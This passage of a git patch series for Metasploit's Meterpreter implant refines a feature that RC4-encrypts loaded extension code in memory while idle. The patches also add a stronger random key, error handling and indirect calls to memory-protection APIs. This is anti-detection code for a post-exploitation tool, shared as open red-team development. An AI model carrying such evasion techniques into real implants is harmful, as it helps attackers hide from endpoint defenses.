bLibLoadedReflectivly = FALSE; - LPVOID lpLibraryLocation = NULL; - DWORD dwLibrarySize = 0; dprintf("[LOADLIB] here 1"); @@ -395,8 +393,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet) else { bLibLoadedReflectivly = TRUE; - lpLibraryLocation = dataTlv.buffer; - dwLibrarySize = dataTlv.header.length; + lpLibraryLocation = (LPVOID)library; } dprintf("[LOADLIB] here 9"); @@ -433,7 +430,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet) if (flags & LOAD_LIBRARY_EXTENSION_ENCRYPTABLE && bLibLoadedReflectivly) { ExtensionEncryptionManager* encryptionManager = GetExtensionEncryptionManager(); if(encryptionManager) { - encryptionManager->add(lpLibraryLocation, dwLibrarySize); + encryptionManager->add(lpLibraryLocation); } } } From ca3b916b0ee0d91198b9a8acba5a0ae3a0d9d843 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 16 Apr 2026 11:43:51 -0400 Subject: [PATCH 22/26] fix: ensure proper handling of encryption status and error conditions in extension encryption functions --- .../source/metsrv/extension_encryption.c | 22 +++++++++++++------ 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index 9594f88de..6d090d931 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -253,8 +253,8 @@ BOOL extension_encryption_add(LPVOID lpExtensionLocation) { g_ExtensionEncryptionManager->dwExtensionsCount++; dprintf("[extension_encryption][extension_encryption_add] Added extension text section at %p of size %u", lpExtensionStatus->lpLoc,lpExtensionStatus->dwSize); dprintf("[extension_encryption][extension_encryption_add] Function exiting"); - LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); } while (0); + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); return dwResult == ERROR_SUCCESS; } @@ -381,22 +381,27 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferRead, diff, &ByteCounter); if (!ret || ByteCounter != diff) { dprintf("[extension_encryption][extension_encryption_encrypt] ReadProcessMemory failed with error 0x%x", GetLastError()); + bError = TRUE; break; } if (!g_ExtensionEncryptionManager->cryptoManager.encrypt(lpTempBufferRead, diff, lpTempBufferWrite, BUFFER_SIZE)) { dprintf("[extension_encryption][extension_encryption_encrypt] CryptographicManager encrypt failed."); ret = FALSE; + bError = TRUE; break; } ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferWrite, diff, &ByteCounter); if (!ret || ByteCounter != diff) { dprintf("[extension_encryption][extension_encryption_encrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); + bError = TRUE; break; } } - lpExtensionStatus->dwLastUsedTime = GetTickCount(); - lpExtensionStatus->bEncrypted = TRUE; + if (!bError) { + lpExtensionStatus->dwLastUsedTime = GetTickCount(); + lpExtensionStatus->bEncrypted = TRUE; + } } if (!bError && !VirtualProtect(ExtensionLoc,ExtensionSize,dwOldProtect,&dwOldProtect)){ @@ -508,8 +513,11 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) break; } } - lpExtensionStatus->dwLastUsedTime = GetTickCount(); - lpExtensionStatus->bEncrypted = FALSE; + + if (!bError) { + lpExtensionStatus->dwLastUsedTime = GetTickCount(); + lpExtensionStatus->bEncrypted = FALSE; + } } if (!bError && !VirtualProtect(ExtensionLoc,ExtensionSize,dwOldProtect,&dwOldProtect)){ @@ -568,8 +576,8 @@ DWORD extensionFindDecrypt(LPVOID lpHandlerFunction) { return EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE; } - if (!extensionStatus->bEncrypted || !encryptionManager->decrypt(extensionStatus)) { - dprintf("[extension_encryption][extensionFindDecrypt] Decryption of the extension is failed"); + if (extensionStatus->bEncrypted && !encryptionManager->decrypt(extensionStatus)) { + dprintf("[extension_encryption][extensionFindDecrypt] Decryption of the extension failed"); return EXTENSION_ENCRYPTION_DECRYPTION_ERROR; } From 9ab8ab1fc6eea0581d7e857bdf26180189ca2d58 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 16 Apr 2026 11:50:16 -0400 Subject: [PATCH 23/26] fix: add null check for ExtensionEncryptionManager in unused encrypt function --- c/meterpreter/source/metsrv/extension_encryption.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index 6d090d931..3f551cd8c 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -538,6 +538,10 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) void extension_encryption_encrypt_unused() { + if (g_ExtensionEncryptionManager == NULL) { + return; + } + EnterCriticalSection(&g_ExtensionEncryptionManager->cs); ExtensionEncryptionStatus** extension_statuses = g_ExtensionEncryptionManager->extensionStatuses; DWORD current_time = GetTickCount(); From 2e03b9288ef7e9985a735cfc51eee88b8dce416a Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 16 Apr 2026 11:54:53 -0400 Subject: [PATCH 24/26] fix: enhance cryptographic manager initialization and error handling in extension encryption, sync rc4 stream --- .../source/metsrv/extension_encryption.c | 36 +++++++++++++++---- 1 file changed, 30 insertions(+), 6 deletions(-) diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index 3f551cd8c..f93cd2cff 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -109,10 +109,19 @@ BOOL cryptographic_manager_rc4(CryptographicManager* manager, LPVOID lpParams) { dprintf("[cryptographic_manager_rc4] HeapAlloc failed."); return FALSE; } - srand((unsigned int)GetTickCount()); - for(int i = 0; i < KEY_SIZE_RC4; i++) { - ((char*)manager->lpCryptoParams)[i] = (char)(rand() % 256); + HCRYPTPROV hProv = 0; + if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { + dprintf("[cryptographic_manager_rc4] CryptAcquireContext failed."); + HeapFree(GetProcessHeap(), 0, (LPVOID)manager->lpCryptoParams); + return FALSE; + } + if (!CryptGenRandom(hProv, KEY_SIZE_RC4, (BYTE*)manager->lpCryptoParams)) { + dprintf("[cryptographic_manager_rc4] CryptGenRandom failed."); + CryptReleaseContext(hProv, 0); + HeapFree(GetProcessHeap(), 0, (LPVOID)manager->lpCryptoParams); + return FALSE; } + CryptReleaseContext(hProv, 0); } if (manager->initialize(&manager->lpCryptoContext, (LPVOID)manager->lpCryptoParams) != 0) { dprintf("[cryptographic_manager_rc4] Initialization failed."); @@ -289,7 +298,7 @@ BOOL extension_encryption_get(LPVOID lpHandlerFunction, ExtensionEncryptionStatu } BOOL extension_encryption_remove(ExtensionEncryptionStatus* lpExtensionStatus) { - BOOL ret = TRUE; + BOOL ret = FALSE; EnterCriticalSection(&g_ExtensionEncryptionManager->cs); dprintf("[extension_encryption][extension_encryption_remove] Removing extension."); if (lpExtensionStatus == NULL) { @@ -373,6 +382,17 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) } } + if (!bError) { + if (g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh) { + if (g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { + if (g_ExtensionEncryptionManager->cryptoManager.refresh(g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext, (LPVOID)g_ExtensionEncryptionManager->cryptoManager.lpCryptoParams) != 0) { + dprintf("[extension_encryption][extension_encryption_encrypt] CryptographicManager refresh failed."); + bError = TRUE; + } + } + } + } + if (!bError) { for (DWORD i = 0; i != ExtensionSize; i += diff) { if ((ExtensionSize - i) < BUFFER_SIZE) { @@ -412,8 +432,10 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); - if (lpTempBufferWrite != NULL && lpTempBufferRead != NULL) { + if (lpTempBufferWrite != NULL) { HeapFree(hHeap, 0, lpTempBufferWrite); + } + if (lpTempBufferRead != NULL) { HeapFree(hHeap, 0, lpTempBufferRead); } @@ -528,8 +550,10 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); - if (lpTempBufferWrite != NULL && lpTempBufferRead != NULL) { + if (lpTempBufferWrite != NULL) { HeapFree(hHeap, 0, lpTempBufferWrite); + } + if (lpTempBufferRead != NULL) { HeapFree(hHeap, 0, lpTempBufferRead); } From 5187695f04651b4e2cde43864aea2d3981fd1b49 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 16 Apr 2026 12:06:30 -0400 Subject: [PATCH 25/26] fix: improve decryption error handling in command processing and scheduler threads --- c/meterpreter/source/metsrv/base.c | 8 ++++---- .../source/metsrv/extension_encryption.c | 19 ++++++++++--------- .../source/metsrv/extension_encryption.h | 7 ++++++- c/meterpreter/source/metsrv/scheduler.c | 2 +- 4 files changed, 21 insertions(+), 15 deletions(-) diff --git a/c/meterpreter/source/metsrv/base.c b/c/meterpreter/source/metsrv/base.c index d431dbf03..b7b043209 100644 --- a/c/meterpreter/source/metsrv/base.c +++ b/c/meterpreter/source/metsrv/base.c @@ -328,7 +328,7 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) } else { dprintf("[COMMAND] Decryption failed for command %u", commandId); - //break; + break; } serverContinue = command->request.inline_handler(remote, packet, &result) && serverContinue; dprintf("[DISPATCH] executed %u, continue %s", commandId, serverContinue ? "yes" : "no"); @@ -343,7 +343,7 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) } else { dprintf("[COMMAND] Decryption failed for command %u", commandId); - //break; + break; } result = command->request.handler(remote, packet); } @@ -360,7 +360,7 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) } else { dprintf("[COMMAND] Decryption failed for command %u", commandId); - //break; + break; } serverContinue = command->response.inline_handler(remote, packet, &result) && serverContinue; } @@ -374,7 +374,7 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) } else { dprintf("[COMMAND] Decryption failed for command %u", commandId); - //break; + break; } result = command->response.handler(remote, packet); } diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index f93cd2cff..5ad5ad2fa 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -1,8 +1,9 @@ #include "extension_encryption.h" +#include "common_metapi.h" ExtensionEncryptionManager *g_ExtensionEncryptionManager = NULL; -DWORD cyptographic_manager_debug_initialize(LPVOID* lpCryptoContext, LPVOID lpParams) { +DWORD cryptographic_manager_debug_initialize(LPVOID* lpCryptoContext, LPVOID lpParams) { *lpCryptoContext = NULL; return 0; } @@ -137,7 +138,7 @@ BOOL cryptographic_manager_debug(CryptographicManager* manager, LPVOID lpParams) } manager->bInitialized = TRUE; manager->bNeedsRefresh = FALSE; - manager->initialize = cyptographic_manager_debug_initialize; + manager->initialize = cryptographic_manager_debug_initialize; manager->encrypt = cryptographic_manager_debug_encrypt; manager->decrypt = cryptographic_manager_debug_decrypt; manager->lpCryptoParams = NULL; @@ -376,7 +377,7 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) ExtensionLoc = lpExtensionStatus->lpLoc; ExtensionSize = lpExtensionStatus->dwSize; - if (!VirtualProtect(ExtensionLoc, ExtensionSize, PAGE_READWRITE, &dwOldProtect)) { + if (!met_api->win_api.kernel32.VirtualProtect(ExtensionLoc, ExtensionSize, PAGE_READWRITE, &dwOldProtect)) { dprintf("[extension_encryption][extension_encryption_encrypt] VirtualProtect 1 failed with error 0x%x", GetLastError()); bError = TRUE; } @@ -410,7 +411,7 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) bError = TRUE; break; } - ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferWrite, diff, &ByteCounter); + ret = met_api->win_api.kernel32.WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferWrite, diff, &ByteCounter); if (!ret || ByteCounter != diff) { dprintf("[extension_encryption][extension_encryption_encrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); bError = TRUE; @@ -424,7 +425,7 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) } } - if (!bError && !VirtualProtect(ExtensionLoc,ExtensionSize,dwOldProtect,&dwOldProtect)){ + if (!bError && !met_api->win_api.kernel32.VirtualProtect(ExtensionLoc,ExtensionSize,dwOldProtect,&dwOldProtect)){ dprintf("[extension_encryption][extension_encryption_encrypt] VirtualProtect 2 failed with error 0x%x", GetLastError()); bError = TRUE; ret = FALSE; @@ -476,7 +477,7 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) ExtensionLoc = lpExtensionStatus->lpLoc; ExtensionSize = lpExtensionStatus->dwSize; - if (!VirtualProtect(ExtensionLoc, ExtensionSize, PAGE_READWRITE, &dwOldProtect)) { + if (!met_api->win_api.kernel32.VirtualProtect(ExtensionLoc, ExtensionSize, PAGE_READWRITE, &dwOldProtect)) { dprintf("[extension_encryption][extension_encryption_decrypt] VirtualProtect 1 failed with error 0x%x", GetLastError()); bError = TRUE; } @@ -528,7 +529,7 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) bError = TRUE; break; } - ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferWrite, diff, &ByteCounter); + ret = met_api->win_api.kernel32.WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferWrite, diff, &ByteCounter); if (!ret || ByteCounter != diff) { dprintf("[extension_encryption][extension_encryption_decrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); bError = TRUE; @@ -542,7 +543,7 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) } } - if (!bError && !VirtualProtect(ExtensionLoc,ExtensionSize,dwOldProtect,&dwOldProtect)){ + if (!bError && !met_api->win_api.kernel32.VirtualProtect(ExtensionLoc,ExtensionSize,dwOldProtect,&dwOldProtect)){ dprintf("[extension_encryption][extension_encryption_decrypt] VirtualProtect 2 failed with error 0x%x", GetLastError()); bError = TRUE; ret = FALSE; @@ -611,4 +612,4 @@ DWORD extensionFindDecrypt(LPVOID lpHandlerFunction) { return ERROR_SUCCESS; -} \ No newline at end of file +} diff --git a/c/meterpreter/source/metsrv/extension_encryption.h b/c/meterpreter/source/metsrv/extension_encryption.h index 72074b3ad..0fab67f9c 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.h +++ b/c/meterpreter/source/metsrv/extension_encryption.h @@ -1,3 +1,6 @@ +#ifndef _METERPRETER_METSRV_EXTENSION_ENCRYPTION_H +#define _METERPRETER_METSRV_EXTENSION_ENCRYPTION_H + #include #include #include "rc4.h" @@ -69,4 +72,6 @@ BOOL extension_encryption_remove(ExtensionEncryptionStatus* lpStatus); BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpStatus); BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpStatus); void extension_encryption_encrypt_unused(); -DWORD extensionFindDecrypt(LPVOID lpHandlerFunction); \ No newline at end of file +DWORD extensionFindDecrypt(LPVOID lpHandlerFunction); + +#endif // _METERPRETER_METSRV_EXTENSION_ENCRYPTION_H diff --git a/c/meterpreter/source/metsrv/scheduler.c b/c/meterpreter/source/metsrv/scheduler.c index e77cd757f..1b2651e22 100644 --- a/c/meterpreter/source/metsrv/scheduler.c +++ b/c/meterpreter/source/metsrv/scheduler.c @@ -300,7 +300,7 @@ DWORD THREADCALL scheduler_waitable_thread( THREAD * thread ) extensionFindDecryptValue = extensionFindDecrypt(entry->routine); if (extensionFindDecryptValue && extensionFindDecryptValue != EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE) { dprintf("[SCHEDULER] scheduler_waitable_thread ( 0x%08X ), decryption of the extension failed"); - //break; + break; } dprintf("[SCHEDULER] scheduler_waitable_thread ( 0x%08X ), the extension is decrypted successfully!"); entry->routine( entry->remote, entry->context, thread->parameter2 ); From 8d71c52347255b07b00bd7669d5b0c9f8cbdeda0 Mon Sep 17 00:00:00 2001 From: xHector1337 Date: Mon, 27 Apr 2026 19:24:47 +0300 Subject: [PATCH 26/26] bug fixes --- .../source/metsrv/extension_encryption.c | 32 +++++++++++-------- c/meterpreter/source/metsrv/server_setup.c | 3 +- 2 files changed, 20 insertions(+), 15 deletions(-) diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index 5ad5ad2fa..9d4f35191 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -383,13 +383,11 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) } } - if (!bError) { + if (!bError && g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { // We shouldnt only think about rc4. Because other algorithms might not support refresh. So checking for NULL in the first place is a good idea. if (g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh) { - if (g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { - if (g_ExtensionEncryptionManager->cryptoManager.refresh(g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext, (LPVOID)g_ExtensionEncryptionManager->cryptoManager.lpCryptoParams) != 0) { - dprintf("[extension_encryption][extension_encryption_encrypt] CryptographicManager refresh failed."); - bError = TRUE; - } + if (g_ExtensionEncryptionManager->cryptoManager.refresh(g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext, (LPVOID)g_ExtensionEncryptionManager->cryptoManager.lpCryptoParams) != 0) { + dprintf("[extension_encryption][extension_encryption_decrypt] CryptographicManager refresh failed."); + bError = TRUE; } } } @@ -422,10 +420,14 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) if (!bError) { lpExtensionStatus->dwLastUsedTime = GetTickCount(); lpExtensionStatus->bEncrypted = TRUE; + if (g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { + g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh = TRUE; + } + } } - if (!bError && !met_api->win_api.kernel32.VirtualProtect(ExtensionLoc,ExtensionSize,dwOldProtect,&dwOldProtect)){ + if (!dwOldProtect || !met_api->win_api.kernel32.VirtualProtect(ExtensionLoc,ExtensionSize,dwOldProtect,&dwOldProtect)){ dprintf("[extension_encryption][extension_encryption_encrypt] VirtualProtect 2 failed with error 0x%x", GetLastError()); bError = TRUE; ret = FALSE; @@ -501,13 +503,11 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) } } - if (!bError) { + if (!bError && g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { // We shouldnt only think about rc4. Because other algorithms might not support refresh. So checking for NULL in the first place is a good idea. if (g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh) { - if (g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { - if (g_ExtensionEncryptionManager->cryptoManager.refresh(g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext, (LPVOID)g_ExtensionEncryptionManager->cryptoManager.lpCryptoParams) != 0) { - dprintf("[extension_encryption][extension_encryption_decrypt] CryptographicManager refresh failed."); - bError = TRUE; - } + if (g_ExtensionEncryptionManager->cryptoManager.refresh(g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext, (LPVOID)g_ExtensionEncryptionManager->cryptoManager.lpCryptoParams) != 0) { + dprintf("[extension_encryption][extension_encryption_decrypt] CryptographicManager refresh failed."); + bError = TRUE; } } } @@ -540,10 +540,13 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) if (!bError) { lpExtensionStatus->dwLastUsedTime = GetTickCount(); lpExtensionStatus->bEncrypted = FALSE; + if (g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { + g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh = TRUE; + } } } - if (!bError && !met_api->win_api.kernel32.VirtualProtect(ExtensionLoc,ExtensionSize,dwOldProtect,&dwOldProtect)){ + if (!dwOldProtect || !met_api->win_api.kernel32.VirtualProtect(ExtensionLoc,ExtensionSize,dwOldProtect,&dwOldProtect)){ dprintf("[extension_encryption][extension_encryption_decrypt] VirtualProtect 2 failed with error 0x%x", GetLastError()); bError = TRUE; ret = FALSE; @@ -564,6 +567,7 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) void extension_encryption_encrypt_unused() { if (g_ExtensionEncryptionManager == NULL) { + dprintf("[extension_encryption][extension_encryption_encrypt_unused] g_ExtensionEncryptionManager is NULL."); return; } diff --git a/c/meterpreter/source/metsrv/server_setup.c b/c/meterpreter/source/metsrv/server_setup.c index 0cd646471..1eb9980f2 100644 --- a/c/meterpreter/source/metsrv/server_setup.c +++ b/c/meterpreter/source/metsrv/server_setup.c @@ -401,7 +401,8 @@ DWORD server_setup(MetsrvConfig* config) ExtensionEncryptionManager* encryptionManager = InitExtensionEncryptionManager(CRYPTOGRAPHIC_MANAGER_TYPE_DEBUG, NULL); if(encryptionManager == NULL) { - dprintf("[SERVER] Extension Encryption Manager Initialization failed! proceeding without extension encryption."); + dprintf("[SERVER] Extension Encryption Manager Initialization failed, aborting!"); + break; } // this has to be done after dispatch routine are registered